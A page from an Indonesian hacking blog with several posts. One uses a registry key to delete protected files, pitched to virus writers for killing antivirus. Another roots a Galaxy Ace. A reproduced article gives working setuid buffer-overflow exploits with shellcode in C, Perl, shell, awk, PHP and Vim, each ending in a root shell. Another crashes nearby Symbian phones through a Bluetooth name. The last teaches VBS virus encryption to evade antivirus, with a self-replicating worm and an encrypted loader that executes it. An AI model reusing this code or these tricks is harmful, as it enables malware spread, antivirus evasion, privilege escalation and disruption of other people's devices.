Social Icons

Sunday, January 3, 2016

Menghapus File Terproteksi Melalui Registry


Di artikel terdahulu, saya telah membahas mengenai cara mengahapus file terproteksi dengan menggunakan File Detonator V1.0.0. Aplikasi itu akan memerintahkan windows untuk menghapus file yang ditargetkan ketika windows restart.
Nah, kali ini saya akan mengajak Anda untuk melakukan hal yang sama, namun tanpa menggunakan bantuan software pihak ketiga. Dengan mengetahui konsepnya, maka Anda dapat mengimplementasikan teknik ini dalam project anda. Atau.. bagi Anda yang seorang penulis Virus, mungkin bisa Anda terapkan teknik ini dalam Virus anda untuk menghapus komponen-komponen AntiVirus yang memiliki nama default agar AntiVirus tidak dapat berjalan atau ‘musnah’ tanpa jejak (hehehe… mendingan jangan dech..) *_* Sebagai catatan, teknik ini berjalan baik pada OS Windows XP.
Okay, langsung aja yach kita menuju ke langkah-langkah…

[Langkah 1]

Buka Text Editor kesayangan anda. Misalnya NOTEPAD.

[Langkah 2]

Ketik script Registry berikut:
REGEDIT4
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations"=hex(7):5c,3f,3f,5c,LOKASI FILE ANDA,00,00,00
Lokasi file Anda harus dikonversikan kedalam heksa terlebih dahulu. Berikut adalah tabel konversinya:
A  =Tukar dengan>  41      a  =Tukar dengan>  61
B  =Tukar dengan>  42      b  =Tukar dengan>  62
C  =Tukar dengan>  43      c  =Tukar dengan>  63
D  =Tukar dengan>  44      d  =Tukar dengan>  64
E  =Tukar dengan>  45      e  =Tukar dengan>  65
F  =Tukar dengan>  46      f  =Tukar dengan>  66
G  =Tukar dengan>  47      g  =Tukar dengan>  67
H  =Tukar dengan>  48      h  =Tukar dengan>  68
I  =Tukar dengan>  49      i  =Tukar dengan>  69
J  =Tukar dengan>  4a      j  =Tukar dengan>  6a
K  =Tukar dengan>  4b      k  =Tukar dengan>  6b
L  =Tukar dengan>  4c      l  =Tukar dengan>  6c
M  =Tukar dengan>  4d      m  =Tukar dengan>  6d
N  =Tukar dengan>  4e      n  =Tukar dengan>  6e
O  =Tukar dengan>  4f      o  =Tukar dengan>  6f
P  =Tukar dengan>  50      p  =Tukar dengan>  70
Q  =Tukar dengan>  51      q  =Tukar dengan>  71
R  =Tukar dengan>  52      r  =Tukar dengan>  72
S  =Tukar dengan>  53      s  =Tukar dengan>  73
T  =Tukar dengan>  54      t  =Tukar dengan>  74
U  =Tukar dengan>  55      u  =Tukar dengan>  75
V  =Tukar dengan>  56      v  =Tukar dengan>  76
W  =Tukar dengan>  57      w  =Tukar dengan>  77
X  =Tukar dengan>  58      x  =Tukar dengan>  78
Y  =Tukar dengan>  59      y  =Tukar dengan>  79
Z  =Tukar dengan>  5a      z  =Tukar dengan>  7a

0  =Tukar dengan>  30      ~  =Tukar dengan>  7e
1  =Tukar dengan>  31      `  =Tukar dengan>  60
2  =Tukar dengan>  32      !  =Tukar dengan>  21
3  =Tukar dengan>  33      @  =Tukar dengan>  40
4  =Tukar dengan>  34      #  =Tukar dengan>  23
5  =Tukar dengan>  35      %  =Tukar dengan>  25
6  =Tukar dengan>  36      $  =Tukar dengan>  24
7  =Tukar dengan>  37      ^  =Tukar dengan>  5e
8  =Tukar dengan>  38      &  =Tukar dengan>  26
9  =Tukar dengan>  39      (  =Tukar dengan>  28
                           )  =Tukar dengan>  29
                           _  =Tukar dengan>  5f
                           -  =Tukar dengan>  2d
                           +  =Tukar dengan>  2b
                           =  =Tukar dengan>  3d
                           {  =Tukar dengan>  7b
                           }  =Tukar dengan>  7d
                           [  =Tukar dengan>  5b
                           ]  =Tukar dengan>  5d
                           ;  =Tukar dengan>  3b
                           '  =Tukar dengan>  27
                           ,  =Tukar dengan>  2c
                           .  =Tukar dengan>  2e
                           \  =Tukar dengan>  5c
                           :  =Tukar dengan>  3a
Pisah masing-masing nilai hasil konversi dengan tanda koma (,). Jadi misalnya Anda ingin menghapus file terproteksi yang berada di lokasi:
D:\spyroZONE\virus.exe
Maka Anda harus menuliskannya pada script anda sebagai berikut (Value datanya jangan dipisah dengan spasi):
REGEDIT4
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations"=hex(7):5c,3f,3f,5c,44,3a,5c,73,70,79,72,
                              6f,5a,4f,4e,45, 5c,76,69,72,75,73,2e,65,
                              78,65,00,00,00
Ingat!!! value datanya jangan dipisah dengan spasi tuliskan semuanya dalam 1 baris. Perhatikan, berikut ini adalah lokasi file tadi:
44 3a 5c 73 70 79 72 6f 5a 4f 4e 45 5c 76 69 72 75 73 2e 65 78 65
D  :  \  s  p  y  r  o  Z  O  N  E  \  v  i  r  u  s  .  e  x  e
Jangan lupa, di akhir alamat file tambahkan 3 buah double 0 :
 ,00,00,00

[Langkah 3]

Simpan dengan nama terserah.reg (Klik File -> Save. Pada kolom isian File name, isikan terserah.reg dan pilih All Files pada box pilihan Save As type. Klik Save sesudahnya.). Setelah itu, lalu klik ganda pada file terserah.reg tersebut. Pilih [YES] lalu [OK].
Kini restartlah komputer anda. Setelah itu lihatlah file yang Anda targetkan. Jika langkah-langkah diatas Anda ikuti dengan benar, maka file terproteksi yang ditargetkan  tadi kini tentunya telah terhapus ;)
Bagaimana jika ingin menghapus lebih dari satu file??
Sambungkan saja pada value datanya dengan format yang sama. Pisahkan dengan: 00,00
Misalnya file yang ingin Anda hapus berada di lokasi:
D:\spyroZONE\virus.exe
dan
D:\spyroZONE\viruses.exe
Maka Anda cukup menuliskannya demikian:
REGEDIT4
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations"=hex(7):5c,3f,3f,5c,44,3a,5c,73,70,79,72,6f,5a,4f,4e,
                              45,5c,76,69,72,75,73,2e,65,78,65,00,00,5c,3f,3f,5c,
                              44,3a,5c,73,70,79,72,6f,5a,4f,4e,45, 5c,76,69,72,75,
                              73,65,73,2e,65,78,65,00,00,00
Ingat!!! value datanya jangan dipisah dengan spasi tuliskan semuanya dalam 1 baris.
Sekian, sampai jumpa di artikel berikutnya ^_^

//E.O.F

How to Root Samsung Galaxy Ace on Android 2.3.4/2.3.3 Gingerbread

rtikel ini akan memandu Anda untuk membuka akses root Samsung Galaxy Ace dengan Android 2.3.3/2.3.4. Sebelum Anda memulai proses rooting, pastikan perangkat Anda sudah benar-benar berjalan dengan Android 2.3.3/2.3.4. Segala kerusakan pada perangkat Anda akibat kelalaian Anda sendiri tentunya bukan merupakan tanggung jawab kami :-P
  1. Download “upd_1.zip”, kemudian simpan pada SD card Android Anda.
  2. Matikan Samsung Galaxy Ace Anda.
  3. Setelah perangkat Anda mati, masuklah ke Recovery Mode dengan tekan-tahan [Tombol Tengah]+[Tombol Power]
  4. Pada Recovery Mode, pilih “update from SD card” dengan menekan tombol volume UP/DOWN.
  5. Pilih file “upd_1.zip” dari memory card Anda. Tunggu hingga ada pemberitahuan bahwa proses update berhasil.
  6. Pilih menu restart untuk merestart perangkat Anda.
  7. Jika berhasil, icon Super User akan muncul pada daftar aplikasi Anda.
    {image: Android Superuser Logo}
    Android Superuser Logo


//E.O.F

Overflow Exploits

Overflow exploits are not only compiled by C. Instead, they can be compiled by almost any programming language. The examples in this article are tested on Linux and demonstrated by overflow exploits compiled by C, Perl, Shell and Awk. The reason for this choice is that almost all these languages are bundled with Unix (except for C in commercial Unix systems).
In the following examples accurate location is implemented basically by placeing SHELLCODE to environment variables.

<1> vul.c that is vulnerable to overflow

[cloud@test]$ id
uid=505(cloud) gid=503(test) groups=503(test)
[cloud@test]$ cat vul.c
/* Demo
Have a bof vul at argv[1].
Write by watercloud @ xfocus.org
*/
#include<stdio.h>
int main(int argc,char * argv[])
{
char buff[32];
if(argc > 1)
{
strcpy(buff,argv[1]);
}
printf("buff : %s\n",buff);
return 0;
}
[cloud@test]$ gcc vul.c -o vul
[cloud@test]$ ls -l vul
-rwxr-xr-x 1 cloud test 11627 2&#26376; 24 10:14 vul
[cloud@test]$ sudo chown root vul
[cloud@test]$ sudo chmod u+s vul
[cloud@test]$ ls -lh vul
-rwsr-xr-x 1 root test 11K 2&#26376; 24 10:14 vul

<2> C exploit ex.c

[cloud@test]$ cat ex.c
/* Demo for exploit bof of "./vul"
Write by watercloud @ xfocus.org
*/
#include <stdio.h>
#define TARGET "./vul"
#define ADDR 0xbffff3e8
char SH[]="1\xc0PPP[YZ4\xd0\xcd\x80"
"j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
int main(int argc,char * argv[])
{
char env_buff[4000];
char cmd_buff[1024];
int i,ret;
unsigned int *pi;
char * pc;

for(i=0;i<3096;env_buff[i++]=0x90){ };
env_buff[i]='\0';
strcat(env_buff,SH);
setenv("KK",env_buff,1);
strcpy(cmd_buff,TARGET);
pc=&cmd_buff[strlen(TARGET)];
*pc++=' ';
for(ret=1,i=0;i<4 && ret;i++)
{
int j;
*pc++='A';
pi=(unsigned int *)pc;
for(j=0;j<20;*pi++=ADDR,j++){};
*pi=0;
ret=system(cmd_buff);
}
return ret;

}
[cloud@test]$ gcc ex.c -o ex
[cloud@test]$ ./ex
buff : A&#26805;&#63733;&#33007;?&#33007;?&#33007;?&#33007;
?&#33007;?&#33007;?&#33007;?&#33007;?&#26805;&#63733;&#33007;??
buff : AA&#26805;&#63733;&#33007;?&#33007;?&#33007;?&#33007;?&#
33007;?&#33007;?&#33007;?&#33007;&#33007;?&#33007;??buff : AAA&
#26805;&#63733;&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33
007;?&#33007;?&#33007;&#63733;&#33007;?&#33007;??
buff : AAAA&#26805;&#63733;&#33007;?&#33007;?&#33007;?&#33007;?&
#33007;?&#33007;?&#33007;?&#33007;
?&#33007;?&#33007;??
sh-2.05b# id
uid=0(root) gid=503(test) groups=503(test)
sh-2.05b# exit
exit

<3> perl exploit ex.pl

[cloud@test]$ cat ex.pl
#!/usr/bin/perl
# Demo for exploit bof of "./vul"
# Write by watercloud @ xfocus.org

#$ENV_LEN=`env |wc -c`
$SHELL="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
$ENV{KK}= "\x90"x 3096 . $SHELL;
for($ret=1,$ag="AA",$i=0;$i<4 && $ret; $ag="A"x $i++) {
$ret=system "./vul",$ag. "\xff\xbf\xe8\xf3"x20; #ADDR:0xbffff3e8
}
#EOF
[cloud@test]$ perl ex.pl
buff : AA&#63733;&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?
&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;
?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?
sh-2.05b# id
uid=0(root) gid=503(test) groups=503(test)
sh-2.05b# exit
exit

<4> Shell exploit ex.sh

[cloud@test]$ cat ex.sh
#/bin/bash
# Demo for exploit bof of "./vul"
# Write by watercloud @ xfocus.org

#ENV_LEN=`env |wc -c|tr -d ' '`
SH="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
AG="AA";for (( i=0;i<10;i++));do AG=$AG$AG;done ;AG=$AG$AG$AG #3096
for((i=0;i<20;i++));do AD=$AD"\xff\xbf\xe8\xf3";done #ADDR:0xbffff3e8
export AGSHELL=$AG`echo -e $SH`

for((i=0;i<4;i++)) ;do
AA=$AA"A"
if ./vul $AA`echo -e $AD`
then break
fi
done
#EOF
[cloud@test]$ chmod a+x ex.sh
[cloud@test]$ ./ex.sh
buff : A&#63733;&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;
?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;
?&#33007;?&#33007;?&#33007;?&#33007;?&#63733;&#33007;?&#33007;?./ex.sh:
line 16: 5287 &#27573;&#38169;&#35823; ./vul $AA`echo -e $AD`
buff : AA&#63733;&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?
&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?
&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?
sh-2.05b# id
uid=0(root) gid=503(test) groups=503(test)
sh-2.05b# exit
exit

<5> awk exploit ex.awk

[cloud@test]$ cat ex.awk
# Demo for exploit bof of "./vul"
# Write by watercloud @ xfocus.org

BEGIN{
SH="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
AG="AA";
for ( i=0;i<10;i++)
{
AG=AG""AG;
}
AG=AG""AG""AG #3096
for(i=0;i<20;i++)
{
AD=AD"\xe8\xf3\xff\xbf"; #ADDR:0xbffff3e8
}

AA="AA"
for(i=0;i<4;i++)
{
AA=AA"A"
system("./vul "AA""AD" "AG""SH)
}
}
#EOF
[cloud@test]$ gawk -f ex.awk /dev/null
buff : AAA&#26805;&#63733;&#33007;?&#33007;?&#33007;?&#33007;?&#33007;
?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;
?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;??buff : AAAA&#26805
;&#63733;&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&
#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#33007;?&#
33007;?&#33007;?&#33007;?&#33007;??
sh-2.05b# id
uid=0(root) gid=503(test) groups=503(test)
sh-2.05b#

<6> PHP exploit

[cloud@MagicLinux tmp]$ id
uid=502(cloud) gid=502(cloud) groups=502(cloud)
[cloud@MagicLinux tmp]$ ls -l vul
-rwsr-xr-x 1 root root 4895 2&#26376; 26 20:57 vul
[cloud@MagicLinux tmp]$ cat ex.php
<?php
$SH=”1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
$AG="AA";
for( $i=0;$i<10;$i++){
$AG.=$AG;
}
$AG.=$AG.$AG; #3096
for($i=0;$i<20;$i++) {
$AD.="\xff\xbf\xe8\xf3";#ADDR:0xbffff3e8
}
for($i=0;$i<4;$i++) {
$AA.="A";
print system("./vul ".$AA.$AD.$AG.$SH);
}
?>
[cloud@MagicLinux tmp]$ php ex.php 1>/dev/null
id >&2
uid=0(root) gid=502(cloud) groups=502(cloud)
exit
[cloud@MagicLinux tmp]$

<7> Vim extension script exploit

Even extension programming script of vim compiler can be used to write an overflow exploit.
[cloud@MagicLinux tmp]$ id
uid=502(cloud) gid=502(cloud) groups=502(cloud)
[cloud@MagicLinux tmp]$ cat ex.vim
let SH="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80"
let AG="AA"
let i=0
while(i<10)
let AG=AG.AG
let i=i+1
endwhile
let AG=AG.AG.AG
"len of AG is 3096

let AD=""
let i=0
while(i<20)
let AD=AD."\xff\xbf\xe8\xf3"
"ADDR:0xbffff3e8
let i=i+1
endwhile

let AA=""
let i=0
while(i<4)
let AA=AA."A"
execute "!./vul ". AA . AD . AG . SH
let i=i+1
endwhile
[cloud@MagicLinux tmp]$ ls -l vul
-rwsr-xr-x 1 root root 4895 2&#26376; 26 20:57 vul
[cloud@MagicLinux tmp]$ vim -eS ex.vim
Xlib: connection to ":0.0" refused by server
Xlib: No protocol specified

buff : A&#65533;&#33007;&#65533;&#33007;&#65533;&#33007;&#65533;&#33007;
&#65533;&#33007;&#65533;&#33007;&#65533;&#33007;&#65533;&#33007;&#65533;
&#33007;&#65533;&#33007;&#65533;&#33007;&#65533;&#33007;&#65533;&#33007;
&#65533;&#33007;&#65533;&#33007;&#65533;&#33007;&#65533;&#33007;&#65533;
&#33007;&#65533;&#33007;&#65533;&#33007; &#39515;
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&#8230;
&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;
&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;
&#8230; &#8230;&#8230; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1&#32366;
PP[YZ4&#22411;&#65533;jX&#27248;hn/shh//biT[RSTY&#34525;sh-2.05b# id uid=0(root)
gid=502(cloud) groups=502(cloud)
sh-2.05b#

<8> ......

<9> Summary

The basis of overflow is address location, usage of data structure such as heap, and architechure the organization/OS is running on. Knowing these we can understand that overflow exploit itself is unrelated to programming language.

//E.O.F

Merestart HP Orang Lain Dengan Bluetooth


Dengan sedikit trik, anda bisa merestart HP symbian teman anda tanpa harus melakukan kontak fisik ^_^ Sil;ahkan ikuti langkah-langkah mudah berikut.
0 [0XFFF00000] Langkah-Langkah
  1. Bukalah Notepad, kemudian ketik ” (tanda kutip) kemudian tekan tombol [Tab] dan ketiklah Restart. Tekan tombol [Tab] lagi, lalu akhiri dengan ” (tanda kutip).
    Contoh: “   Restart   ”
    Ingat yach, setelah tanda kutip yang harus anda tekan adalah tombol [Tab], bukan space.
  2. Simpan file tersebut dengan nama Restart.txt atau terserah Anda. Kirim file tersebut ke ponsel anda melalui bluetooth atau media perantara lain.
  3. Buka file tadi (Restart.txt) di ponsel anda, copy teks yang tadi anda ketik.
  4. Buka setting Bluetooth anda, ubah namanya menjadi teks yang tadi anda copy. jangan panik jika namanya jadi kacau, itu tandanya anda berhasil :P
  5. Datangi teman anda, katakan hal-hal menarik yang bisa membuat dia terkagum-kagum. Misalnya:
    “Bro, gue bisa bikin HP loe restart tanpa harus gue sentuh. Coba sekarang loe pake bluetooth loe.”
  6. Saat teman anda mengaktifkan bluetooth nya, HP Sysmbiannya akan otomatis restart :D Orang-orang di sekeliling anda yang sedang memakai bluetooth juga akan ikut-ikutan Restart saat perangkatnya mendeteksi perangkat Anda :D
0 [0XFFFF0000] How it can BE??
Mudah saja, Symbian akan mendeteksi keberadaan bluetooth yang aktif, namun tidak bisa menampilkan device bluetoothnya karena dia tidak pernah mengenal karakter Tab. Hal ini akan mengakibatkan ERROR sehingga dia akan melakukan restart system secara otomatis.

//E.O.F

Teknik Enkripsi Virus VBS


Melihat banyaknya email dan forum yang menanyakan cara mengenkripsi virus vbs atau js,maka saya mau menulis tutorial cara mengenkripsi virus vbs. Bila anda menggunakan program atau script encrypter maka virus kamu akan didetect oleh antivirus sebagai Encrypter.Tools atau Encrypter.Gen. Untuk itu saya akan memberitahu cara enkripsi sederhana dan kamu dapat memilih sendiri karakter ASCII nya.
Prinsip kerjanya begini, baca file perkarakter lalu ubah karakter demi karakter menjadi karakter ASCII(nomor ASCII +2). Jadi hasilnya, setiap huruf akan ditulis sebagai 2 huruf didepannya dalam tabel ASCII. Untuk unencrypt nya kamu cukup membalikan cara kerja encrypter tadi, yaitu mengurangkan karakter ASCIInya dengan 2. Lalu mengeksekusi yang telah di unencrypt tadi. Teknik ini disebut enkripsi XOR.Pusing ya.. hehehe saya juga pusing ;-) untuk meng enkripsi kamu harus mengubah semua karakter ” menjadi karakter ASCII lain, seperti ä,ö,æ,Æ,ô,ò dll. Tapi kamu harus tau berapa angka ASCIInya maka dari itu pertama kamu butuh table ASCII. ;Þ~
Pertama, ketikan script dibawah ini untuk membuat tabel ASCII. Nah kamu bisa memilih karakter ASCII sesuai pilihanmu.
01'<----------------- awal ASCII Tabel ---------------------->
02for i=0 to 256
03x=x+"angka "&i&" --> "&chr(i)&vbcrlf
04next
05 
06Set Anton = CreateObject("Scripting.FileSystemObject")
07Set hilman=anton.createtextfile("C:\ascii.txt")
08hilman.write x
09hilman.close
10'<----------------- akhir ASCII Tabel --------------------->
Lalu simpan dengan nama ascii.vbs dan jalankan. maka di drive C: akan terdapat file ascii.txt dan didalamnya terdapat angka beserta bentuk huruf ASCIInya dari 0 sampai 256(range ini bisa kamu pilih sendiri). Nah udah liat kan, sekarang buka virusmu ketik Ctrl+H(Replace). Isikan ” pada Find what dan ¤ pada Replace with. Klik Replace All dan Save. Kamu harus tau berapa angka ASCII ” dan ¤(caranya ya liat tabel tadi ;Þ)
…
angka 34 –> ”
angka 164 –> ¤
…
Catatan : “jangan memilih kode ASCII yang telah ada dalam virus kamu, karena bila di enkripsi maka akan ikut diubah menjadi tanda kutip(“).
Kedua, sekarang saatnya kita buat script encrypternya hehehe.. buka text editor kamu dan ketik script berikut :
01'<---------------- awal encryptor ---------------------->
02 Set Anton = CreateObject("Scripting.FileSystemObject")
03 Set maVero=Anton.OpenTextFile("C:\suriv.vbe")
04 virus=maVero.ReadAll
05 On Error Resume Next
06 VA3 = ""
07 For I = 1 To Len(virus)
08 Baca = Asc(Mid(virus, I, 1))
09 If Baca = 164 Then
10 'nah ini untuk karakter " yang kita tukar tadi..
11 'jadi, jika ditemukan karakter ASCII 164(¤) maka..
12 Tukar = Chr(215)
13 'ubah jadi karakter ASCII 215(×)
14 'nah selanjutnya terserah kamu, kalau kamu mau mengubah suatu huruf menjadi karakter ASCII yang
15 'spesial silahkan asal di catat dan di ingat.
16 ElseIf Baca = 10 Then
17 Tukar = Chr(28)
18 ElseIf Baca = 13 Then
19 Tukar = Chr(29)
20 Else
21 Tukar = Chr(Baca - 1)
22 End If
23 hasil=hasil & Tukar
24 Next
25 Set hilman=anton.createtextfile("C:\hasil.txt")
26 hilman.write hasil
27hilman.close
28'<----------------- akhir encryptor --------------------->
‘ini contoh file C:\suriv.vbe yang dipakai pada encryptor di atas.
01'<---------[ awal contoh kode yang akan di encrypt ]------------>
02On Error Resume Next
03Set ElkaUNP = CreateObject("Scripting.FileSystemObject")
04Set Padang = ElkaUNP.OpenTextFile(Wscript.ScriptFullName,1)
05Kode = Padang.ReadAll
06Set Drives = ElkaUNP.Drives
07For each Drive in Drives
08if Drive.isReady then
09Periksa(Drive & "\")
10End if
11Next
12Sub Periksa(Target)
13On Error Resume Next
14Set Elektronika = ElkaUNP.GetFolder(Target)
15SumBar = Target & "\ElkaUNP.vbs"
16if (SumBar <> "ElkaUNP.vbs") then
17Set FT_UNP = ElkaUNP.CreateTextFile(SumBar)
18FT_UNP.Write Kode
19FT_UNP.Close
20FT_UNP = ""
21Set Atribut = ElkaUNP.GetFile(SumBar)
22Atribut.Attributes = 35
23SumBar = "ElkaUNP.vbs"
24End if
25For Each SubFolder in Elektronika.SubFolders
26Periksa(SubFolder.Path)
27Next
28End Sub
29'<---------[ akhir contoh kode yang akan di encrypt ]------------>
Pada script diatas ada 3 karakter yang saya ubah jadi karakter ASCII. yaitu karakter :
164 jadi 215
10 jadi 28
13 jadi 29
(liat aja di tabel..;Þ~ huruf apa itu) dan selain yang tiga karakter itu, angka ASCII karakter-1(jika yang terbaca 40 maka diubah jadi chr(39) –> 40-1=39). Hasil file virus kamu yang telah di enkripsi akan ada di C:\Hasil.txt
Ketiga, copy isi file ‘C:\Hasil.txt’ dan buat script encrypter berikut ini :
01'<------------------- awal unencryptor --------------------->
02Explorer="pastekan isi file C:\Hasil.txt diantara tanda kutip ini. Nah karena tanda kutip ini lah
03saya menyuruh kamu menukar tanda kutip dengan yang lain, karena script tidak akan jalan kalau ada
043 atau 4 tanda kutip <img src="http://www.spyrozone.net/hacking/wp-includes/images/smilies/icon_wink.gif" alt=";-)" class="wp-smiley"> "
05Dim Microsoft
06For I = 1 To Len(Explorer)
07Internet = Asc(Mid(Explorer, I, 1))
08If Internet = 215 Then
09'jika menemukan karakter ASCII 215 maka
10Windows = Chr(34)
11'akan diubah menjadi tanda " kembali. sederhana kan..
12'selanjutnya hanya kebalikan dari encryptor diatas(jika 10 diubah jadi 28 maka sekarang di
13'kembalikan 28 jadi 10 <img src="http://www.spyrozone.net/hacking/wp-includes/images/smilies/icon_wink.gif" alt=";-)" class="wp-smiley">  dst
14ElseIf Internet = 28 Then
15Windows = Chr(10)
16ElseIf Internet = 29 Then
17Windows = Chr(13)
18Else
19Windows = Chr(Internet + 1)
20End If
21Microsoft = Microsoft & Windows
22Next
23 
24Set Anton = CreateObject("Scripting.FileSystemObject")
25Set hilman=anton.createtextfile("c:\hasilx.txt")
26hilman.write Microsoft
27hilman.close
28'<------------------ akhir unencryptor --------------------->
sekarang lihat file C:\hasilx.txt nah bandingkan dengan virus yang belum di enkrip, sama? kalau sama berarti tak ada error dalam enkripsinya.
Terakhir, tambahkan execute pada akhir unencryptor sehingga menjadi seperti dibawah ini:
01'<------------------ awal virus jadi --------------------->
02'badan virus
03Explorer="&;,,,,,,,,,Z `v`k bnmsng jncd x`mf `j`m ch dmbqxos \,,,,,,,,,,,,= Nm Dqqnq Qdrtld Mdws
04Rds Dkj`TMO < Bqd`sdNaidbs'×Rbqhoshmf-EhkdRxrsdlNaidbs×( Rds O`c`mf < Dkj`TMO-NodmSdwsEhkd'Vrb
05qhos-RbqhosEtkkM`ld+0( Jncd < O`c`mf-Qd`c@kk Rds Cqhudr < Dkj`TMO-Cqhudr Enq d`bg Cqhud hm Cq
06hudr he Cqhud-hrQd`cx sgdm Odqhjr`'Cqhud % ×[×( Dmc he Mdws Rta Odqhjr`'S`qfds(
07Nm Dqqnq Qdrtld Mdws Rds Dkdjsqnmhj` < Dkj`TMO-FdsEnkcdq'S`qfds( RtlA`q < S`qfds % ×[Dkj`TMO-
08uar× he 'RtlA`q ;= ×Dkj`TMO-uar×( sgdm Rds ES^TMO < Dkj`TMO-Bqd`sdSdwsEhkd'RtlA`q( ES^
09TMO-Vqhsd Jncd ES^TMO-Bknrd ES^TMO < ×× Rds @sqhats < Dkj`TMO-FdsEhkd'RtlA`q( @sq
10hats-@ssqhatsdr < 24 RtlA`q < ×Dkj`TMO-uar× Dmc he Enq D`bg RtaEnkcdq hm Dkdjsqnmhj`-RtaE
11nkcdqr Odqhjr`'RtaEnkcdq-O`sg( Mdws Dmc Rta &;,,,,,,,,,Z `jghq bnmsng jncd x`mf `j`m ch d
12mbqxos \,,,,,,,,,,,,= "
13'untuk unenkripsinya
14Dim Microsoft
15For I = 1 To Len(Explorer)
16Internet = Asc(Mid(Explorer, I, 1))
17If Internet = 215 Then
18Windows = Chr(34)
19ElseIf Internet = 28 Then
20Windows = Chr(10)
21ElseIf Internet = 29 Then
22Windows = Chr(13)
23Else
24Windows = Chr(Internet + 1)
25End If
26Microsoft = Microsoft & Windows
27Next
28'untuk mengeksekusi hasil unenkripsi
29Execute Microsoft
30'<------------------ akhir virus jadi --------------------->
Sekian dulu tuturial enkripsi virus VBS ini sebagai jawaban atas semua email yang
menanyakan encryptor untuk virusnya sendiri. Dengan sedikit kreatif kamu bisa membuat encryptor kamu sendiri dari pengembangan encryptor di atas. Tutorial ini juga sebagai jawaban atas kurang jelasnya cara mengenkripsi virus yang terdapat saat ini. Terutama pada para pemula yang ‘agak’ butuh penjelasan panjang lebar.
Greet’s to :
  • Indonesian Virus Writer dimana saja khususnya spidey yang suka membagi ilmunya hehehe.. :Þ~
  • SECTOR’S team,SevenC,dan pembuat virus VBS.Redlof dimanapun kamu berada.
  • Anak Warnet Payakumbuh(RiNaL,antho,alvin-s,peri,si bos,pak guru,yudi,ade dll)
  • MinangCrew, Kadal_Punk, Joehuntters, Aulia Abrar, Aldi_Member, Ridho(Elka02UNP), Adriyan, Bob dll.
  • Buat semua Anak Teknik Elektronika/Fakultas Teknik /UNP /Padang /SumBar /Indonesia.
  • Yance,Ee(toemis),Adek,Ata,Dodi(Bolot). hidup Payobasuang! dan yang tak tersebut namanya…
Salam.

//E.O.F